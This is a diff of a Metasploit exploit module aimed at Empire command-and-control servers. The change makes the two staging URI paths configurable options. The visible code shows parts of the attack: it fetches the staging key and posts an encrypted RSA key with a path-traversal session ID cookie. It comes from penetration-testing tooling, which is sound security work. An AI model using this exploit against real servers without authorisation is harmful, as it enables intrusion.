@@ -52,6 +52,8 @@ def initialize(info = {})
52
52
[
53
53
Opt ::RPORT ( 8080 ) ,
54
54
OptString . new ( 'TARGETURI' , [ false , 'Base URI path' , '/' ] ) ,
55
+ OptString . new ( 'STAGE0_URI' , [ true , 'The resource requested by the initial launcher, default is index.asp' , 'index.asp' ] ) ,
56
+ OptString . new ( 'STAGE1_URI' , [ true , 'The resource used by the RSA key post, default is index.jsp' , 'index.jsp' ] ) ,
55
57
OptString . new ( 'PROFILE' , [ false , 'Empire agent traffic profile URI.' , '' ] )
56
58
] , self . class )
57
59
end
@@ -113,11 +115,12 @@ def rsa_key_to_xml(rsa_key)
113
115
end
114
116
115
117
def get_staging_key
116
- # empire STAGE0_URI index.asp
118
+ # STAGE0_URI resource requested by the initial launcher
119
+ # The default STAGE0_URI resource is index.asp
117
120
# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L34
118
121
res = send_request_cgi ( {
119
122
'method' => 'GET' ,
120
- 'uri' => normalize_uri ( target_uri . path , 'index.asp' )
123
+ 'uri' => normalize_uri ( target_uri . path , datastore [ 'STAGE0_URI' ] )
121
124
} )
122
125
return unless res and res . code == 200
123
126
@@ -193,13 +196,14 @@ def exploit
193
196
194
197
rsa_key = OpenSSL ::PKey ::RSA . new ( 2048 )
195
198
session_id = Array . new ( 50 , '..' ) . join ( '/' )
196
- # empire STAGE1_URI index.asp
199
+ # STAGE1_URI, The resource used by the RSA key post
200
+ # The default STAGE1_URI resource is index.jsp
197
201
# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L37
198
202
res = send_request_cgi ( {
199
203
'cookie' => "SESSIONID=#{ session_id } " ,
200
204
'data' => aes_encrypt ( staging_key , rsa_key_to_xml ( rsa_key ) ) ,
201
205
'method' => 'POST' ,
202
- 'uri' => normalize_uri ( target_uri . path , 'index.jsp' )
206
+ 'uri' => normalize_uri ( target_uri . path , datastore [ 'STAGE1_URI' ] )
203
207
} )
204
208
fail_with ( Failure ::Unknown , 'Failed to send the RSA key' ) unless res and res . code == 200
205
209
vprint_status ( "Successfully sent the RSA key" )
0 commit comments